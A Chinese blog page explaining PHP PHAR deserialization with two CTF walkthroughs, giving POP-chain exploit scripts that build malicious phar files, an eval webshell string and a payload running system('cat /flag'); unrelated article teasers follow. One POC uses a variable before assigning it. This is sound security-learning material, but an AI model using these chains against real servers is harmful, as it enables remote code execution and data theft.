当前位置：首页 > news >正文

PHAR反序列化

news 2026/3/31 15:18:45

PHAR

PHAR（PHP Archive）文件是一种归档文件格式，phar文件本质上是一种压缩文件，会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时，会自动反序列化meta-data内的内容,这里就是我们反序列化漏洞的利用点

phar文件的结构

1.a stub可以理解为一个标志，格式为xxx<?php xxx; __HALT_COMPILER();?>，前面内容不限，但必须以__HALT_COMPILER();来结尾，否则phar扩展将无法识别这个文件为phar文件
2.a manifest describing the contentsphar文件本质上是一种压缩文件，其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data，这是上述攻击手法最核心的地方
3.the file contents
被压缩文件的内容
4.[optional] a signature for verifying Phar integrity (phar file format only)签名，放在文件末尾

将生成的phar文件上传成功后，使用phar协议读取文件，在使用phar伪协议解析时，php一大部分的文件系统函数(下图中的函数)都会将meta-data进行反序列化

phar反序列化利用的条件

phar文件要能够上传到服务器端。
要有可用的魔术方法作为“跳板”。
文件操作函数的参数可控，且:、/、phar等特殊字符没有被过滤

[SWPUCTF 2021 新生赛]babyunser

存在文件上传，先上传一个一句话木马看看

发现会被解析为txt文件，那么先找找源码看看，利用查看文件的功能看看

index.php

<html>
<title>aa的文件管理器</title>
<body>
<h1>aa的文件管理器</h1>
<a href="upload.php">上传文件</a>
<br>
<br>
<a href="read.php">查看文件</a>
</body>
</html>

upload.php

<html>
<title>aa的文件上传器</title>
<body><form action="" enctype="multipart/form-data" method="post"><p>请选择要上传的文件：<p><input class="input_file" type="file" name="upload_file"/><input class="button" type="submit" name="submit" value="上传"/></form>
</body>
</html><?phpif(isset($_POST['submit'])){$upload_path="upload/".md5(time()).".txt";$temp_file = $_FILES['upload_file']['tmp_name'];if (move_uploaded_file($temp_file, $upload_path)) {echo "文件路径：".$upload_path;} else {$msg = '上传失败';}}

read.php

<?php
include('class.php');
$a=new aa();
?>
<?php
error_reporting(0);
$filename=$_POST['file'];
if(!isset($filename)){die();
}
$file=new zz($filename);
$contents=$file->getFile();
?>

class.php

<?php
class aa{public $name;public function __construct(){$this->name='aa';}public function __destruct(){$this->name=strtolower($this->name);}
}class ff{private $content;public $func;public function __construct(){$this->content="\<?php @eval(\$_POST[1]);?>";}public function __get($key){$this->$key->{$this->func}($_POST['cmd']);}
}class zz{public $filename;public $content='surprise';public function __construct($filename){$this->filename=$filename;}public function filter(){if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){die('这不合理');}}public function write($var){$filename=$this->filename;$lt=$this->filename->$var;//此功能废弃，不想写了}public function getFile(){$this->filter();$contents=file_get_contents($this->filename);if(!empty($contents)){return $contents;}else{die("404 not found");}}public function __toString(){$this->{$_POST['method']}($_POST['var']);return $this->content;}
}class xx{public $name;public $arg;public function __construct(){$this->name='eval';$this->arg='phpinfo();';}public function __call($name,$arg){$name($arg[0]);}
}

明显存在php反序列化 ,构造poc后，生成phar文件，将phar文件上传之后再通过post来cat flag

<?php
class aa{public $name;function __construct(){$this->name = new zz();}
}class ff{private $content;public $func = "assert";function __construct(){$this->content = new xx();}
}class zz{public $filename;public $content='surprise';function __construct(){$this->filename = new ff();}}class xx{public $name;public $arg;
}$a = new aa();
echo urlencode(serialize($a));# 下面这部分就没改
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

生成phar的部分可以直接套用

payload

file=phar://upload/a5251443346d8ea6c85877d7ef036536.txt&method=write&var=content&cmd=system("cat /flag")

[SWPU 2018]SimplePHP

查看源码，提示flag的位置在flag.php

还存在查看文件的模块，看看能不能利用来查看源码

file.php

class.php，序列化的代码，但是给了phar协议的提示

大概率是phar反序列化，function.php主要就是限制上传文件的后缀

整理一下思路，已知flag在flag.php中，但是没有办法直接访问flag.php，因为在file.php中限制了只能访问var/www/html下的文件；再看序列化的代码，不存在unserialize，怎么进行反序列化，通过phar文件自动触发反序列化；通过文件上传触发序列化之后利用`file_get_contents来读取flag.php`

开始构造pop链

链尾毫无疑问是Test::file_get(),file_get在get中被调用，所以触发get就能调用file_get，从get开始倒推到链头

_get访问不存在的变量时触发，Show::_toString,source是不存在的变量无法调用

在C1e4r中，echo可以触发_toString，destruct在变量摧毁时会自动触发，所以就形成完整的pop链C1e4r::_destruct->Show::_toString->Test::file_get()

poc

$s=new Show;
$t->params['source']="/var/www/html/flag.php";
$t=new Test;
$s->str['str']=$t;
$c=new C1e4r;
$c->str=$s;

生成phar文件上传后进入 upload页面拿到文件路径

用phar伪协议读取

?file=phar://upload/643dfaadf749736256e05de9e40b864b.jpg

最后进行base64解码，拿到flag

PHAR反序列化

PHAR PHAR（PHP Archive）文件是一种归档文件格式，phar文件本质上是一种压缩文件，会以序列化的形式存储用户自定义的meta-data。当受影响的文件操作函数调用phar文件时，会自动反序列化meta-data内的内容,这里就是我们反序…...

编程日记 2024/6/3 2:12:10

Rust安装

目录一、安装1.1 在Windows上安装1.2 在Linux下安装二、包管理工具三、Hello World3.1 安装IDE3.2 输出Hello World 一、安装 1.1 在Windows上安装点击页面安装 Rust - Rust 程序设计语言 (rust-lang.org)，选择"下载RUSTUP-INIT.EXE(64位）&qu…...

编程日记 2024/6/3 2:10:08

513.找树左下角的值

给定一个二叉树，在树的最后一行找到最左边的值。示例 1: 示例 2: 思路： 深度最大的叶子结点一定是最后一行。优先左边搜索，记录深度最大的叶子节点，此时就是树的最后一行最左边的值代码： class Solution:def fi…...

编程日记 2024/6/3 2:08:06

docker基础，docker安装mysql，docker安装Nginx，docker安装mq,docker基础命令

核心功能操作镜像 Docker安装mysql docker run -d --name mysql -p 3306:3306 -e TZAsia/Shanghai -e MYSQL_ROOT_PASSWORDlcl15604007179 mysql docker的基本操作 docker rm 容器名称即可 docker ps 查看当前运行的容器 docker rm 干掉当前容器 docker logs 查看容器命令日…...

编程日记 2024/6/3 2:07:05

MyBatis二、搭建 MyBatis

MyBatis二、搭建 MyBatis 开发环境MySQL 不同版本的注意事项驱动程序（Driver）JDBC URL连接参数MyBatis配置文件版本兼容性常见问题与解决方案示例（MySQL 8.x与MyBatis连接） 创建 Maven 工程打包方式：Jar引入依赖创建数…...

编程日记 2024/6/3 2:06:04

昵称生成器

package mainimport ("math/rand" )// 随机昵称形容词 var nicheng_tou []string{"迷你的", "鲜艳的", "飞快的", "真实的", "清新的", "幸福的", "可耐的", "快乐的", "冷…...

编程日记 2024/6/3 2:05:03

mysql仿照find_in_set写了一个replace_in_set函数，英文逗号拼接字符串指定替换

开发中使用mysql5.7版本数据库，对于英文逗号拼接的字符串，想要替换其中指定的字符串，找不到数据库函数支持，自己写了一个，实测好用！ /*类似find_in_set,按英文逗号拆分字段,找出指定的旧字符串,替换成新字…...

编程日记 2024/6/3 2:04:01

机械设计手册第一册：公差

形位公差的标注： 形位公差框格中，不仅要表达形位公差的特征项目、基准代号和其他符号，还要正确给出公差带的大小、形状等内容。 1.形位公差框格： 形位公差框格由两个框格或多个格框组成，框格中的主要内容从左到右按…...

编程日记 2024/6/3 2:02:00

如何把图片保存成16位png格式？

在进行图像处理的过程中，见过8位和24位的图片，然而还没见过16位的，其实也有，比如对于灰度图，就是相当于利用65535个灰度级进行灰度存储。而8位就是256个位置存储。相当于就是0-255. 今天尝试了巨久，用pyth…...

编程日记 2024/6/3 2:00:59

vue 关闭页面前释放资源

mounted() {window.addEventListener(beforeunload, e > this.handleBeforeUnload(e)) }beforeDestroy() {//监听-关闭页面的时候释放资源window.removeEventListener(beforeunload, e > this.handleBeforeUnload(e))},methods: {handleBeforeUnload(event){event.preven…...

编程日记 2024/6/3 1:59:58

堡垒机，日志审计系统，行为管理，漏洞扫描的作用

堡垒机日志审计行为管理漏洞扫描堡垒机和防火墙的区别主要体现在以下几个方面： 功能不同：堡垒机主要用于管理和控制服务器访问权限，提供安全的登录通道和权限控制，还可以记录并监控用户对服务器的所有操作，为后…...

编程日记 2024/6/3 1:57:56

JVM学习-自定义类加载器

为什么要自定义类加载器隔离加载类在某些框架内进行中间件与应用的模块隔离，把类加载到不同的环境，如Tomcat这类Web应用服务器，内部自定义了好几种类加载器，用于隔离同一个Web应用服务器上的不同应用程序修改类加载的方式 …...

编程日记 2024/6/3 1:56:55

NDIS Filter开发-OID 请求

NDIS 定义对象标识符 (OID) 值来标识适配器参数，其中包括操作参数，例如设备特征、可配置的设置和统计信息。 Filter驱动程序可以查询或设置基础驱动程序的操作参数，或过滤/覆盖顶层驱动程序的 OID 请求。 NDIS 还为 NDIS 6.1 及更高版本的Fi…...

编程日记 2024/6/3 1:55:54

软考系统架构设计师之考试感悟2

接前一篇文章：软考系统架构设计师之考试感悟今天是2024年5月25号，是个人第二次参加软考系统架构师考试的正日子。和上次一样，考了一天，身心俱疲。天是阴的，心是沉的，感觉比上一次更加沉重。仍然有诸多感悟…...

编程日记 2024/6/3 1:53:52

[学习笔记](b站视频)PyTorch深度学习快速入门教程（绝对通俗易懂！）【小土堆】(ing)

视频来源：PyTorch深度学习快速入门教程（绝对通俗易懂！）【小土堆】前面P1-P5属于环境安装，略过。 5-6.Pytorch加载数据初认识数据文件: hymenoptera_data # read_data.py文件from torch.utils.data import Dataset …...

编程日记 2024/6/3 1:51:48

Flutter开发效率提升1000%，Flutter Quick教程之定义构造参数和State成员变量

一个Flutter页面，可以定义页面构造参数和State成员变量。所谓页面构造参数，就是当前页面构造函数里面的参数。比如下面代码，a就是构造参数，a1就是State成员变量。 class Testpage extends StatefulWidget {String a;const Test…...

编程日记 2024/6/3 1:50:47

R语言数据分析-xgboost模型预测

XGBoost模型预测的主要大致思路： 1. 数据准备首先，需要准备数据。这包括数据的读取、预处理和分割。数据应该包括特征和目标变量。步骤： 读取数据：从CSV文件或其他数据源读取数据。数据清理：处理缺失值、异常值等…...

编程日记 2024/6/3 1:49:46

使用redis的setnx实现分布式锁

在Redis中，SETNX 是 “Set If Not Exists”（如果不存在，则设置）的缩写。这是一个原子操作，用于设置一个键的值，前提是这个键不存在。如果键已经存在,.则不会执行任何操作。封装方法trylock，用…...

编程日记 2024/6/3 1:48:44

LangChain进行文本摘要总结

利用LangChain进行文本摘要的详细总结 LangChain是一个强大的工具，可以帮助您使用大型语言模型（LLM）来总结多个文档的内容。以下是一个详细指南，介绍如何使用LangChain进行文本摘要，包括使用文档加载器、三种常见的摘…...

编程日记 2024/6/3 1:47:43

政安晨【零基础玩转各类开源AI项目】：解析开源项目的论文：Physical Non-inertial Poser (PNP)

政安晨的个人主页：政安晨欢迎 👍点赞✍评论⭐收藏收录专栏: 零基础玩转各类开源AI项目希望政安晨的博客能够对您有所裨益，如有不足之处，欢迎在评论区提出指正！ 本文解析的原始论文为：https://arxiv.org/…...

编程日记 2024/6/3 1:46:42

MAX32630FTHR平台RF95 LoRa精简移植实战

1. RadioHead库深度解析：面向MAX32630FTHR平台的RF95 LoRa通信精简移植 1.1 项目定位与工程价值 RadioHead并非官方标准协议栈，而是由Airspayce公司开发的一套轻量级、跨平台无线通信抽象库。其设计哲学强调“最小可行通信”——不追求协议完备性&#…...

编程新知 2026/3/31 15:16:36

Czkawka：用Rust构建的开源存储清理工具全解析

Czkawka：用Rust构建的开源存储清理工具全解析【免费下载链接】czkawka Multi functional app to find duplicates, empty folders, similar images etc. 项目地址: https://gitcode.com/GitHub_Trending/cz/czkawka 一、场景痛点：当代存储管理的…...

编程新知 2026/3/31 15:04:30

相场法模拟二元合金中考虑溶质偏析的comsol枝晶生长研究

comsol枝晶生长相场法模拟二元合金考虑溶质偏析枝晶生长这玩意儿在材料模拟里算是经典难题了。咱们用相场法搞COMSOL模拟的时候，最刺激的就是看那些枝晶分叉怎么从混乱中长出来。这次搞的是二元合金体系，重点得盯着溶质偏析这个捣蛋鬼——它能让晶体长…...

编程新知 2026/3/31 14:50:13

阿里开源Z-Image镜像体验：ComfyUI可视化生成汉服美女实战

阿里开源Z-Image镜像体验：ComfyUI可视化生成汉服美女实战 1. 开篇：当汉服遇见AI绘画想象一下，你只需要输入"一位穿着汉服的中国女性站在樱花树下"，AI就能在几秒钟内生成一张细节精致的写实风格图像。这不再是科幻场景…...

编程新知 2026/3/31 14:42:07

广东省高级会计师评审辅导知名品牌

在职业发展的道路上，专业资格认证是许多财务从业者提升自我、拓宽职业路径的重要一环。广东省高级会计师评审，作为一项专业性强、要求严格的职业能力认定，其准备过程需要系统性的指导与支持。中山力朗教育咨询有限公司，作为一家立…...

编程新知 2026/3/31 14:03:15

Java中如何实现Excel跨工作表数据复制

本文介绍了如何在Java程序中有效地复制Excel工作表中的数据。许多Java开发人员需要将数据从一个工作表复制到另一个工作表。本文提供了一个代码示例来帮助您解决这个问题。核心是如何在Java中有效地复制Excel工作表中特定区域的数据。下面的例子是使用Java库（具体的…...

编程新知 2026/3/31 13:49:10

告别重复操作：用快马生成智能浏览器扩展，极速提升前端调试与数据提取效率

作为一名前端开发者，每天都要和网页元素打交道。调试样式、提取数据这些重复性工作，如果全靠手动操作，不仅效率低下还容易出错。最近我发现用InsCode(快马)平台可以快速生成定制化的浏览器扩展，把那些繁琐操作变成一键自动化&…...

编程新知 2026/3/31 13:04:37

仅限前500位开发者获取：20年MCP协议老兵手写《Python服务器模板源码认知地图》PDF+可执行调试镜像

第一章：MCP协议核心原理与Python服务器模板设计哲学MCP（Model Control Protocol）是一种轻量级、面向模型交互的双向通信协议，专为AI代理系统与外部工具服务之间的结构化指令交换而设计。其核心在于以JSON-RPC 2.0为传输语义基础&a…...

编程新知 2026/3/31 11:19:10

用Python+Simulink复现数维杯A题：手把手教你搭建车辆主动减振模型（附代码）

PythonSimulink实战：从零构建车辆主动减振系统 1. 理解车辆振动控制的核心问题车辆振动问题一直是工程领域的重要挑战。想象一下，当你驾驶一辆重型卡车经过颠簸路面时，那种令人不适的震动不仅影响驾驶体验，长期来看还会对车辆结构…...

编程新知 2026/3/31 10:22:37

IPXWrapper终极指南：三步让Windows 11完美运行经典游戏联机对战

IPXWrapper终极指南：三步让Windows 11完美运行经典游戏联机对战【免费下载链接】ipxwrapper 项目地址: https://gitcode.com/gh_mirrors/ip/ipxwrapper 还在为Windows 11无法运行《红色警戒2》、《星际争霸》等经典游戏而烦恼吗？IPXWrapper正是…...

编程新知 2026/3/31 10:10:23

PHAR

phar文件的结构

phar反序列化利用的条件

[SWPUCTF 2021 新生赛]babyunser

[SWPU 2018]SimplePHP

相关文章：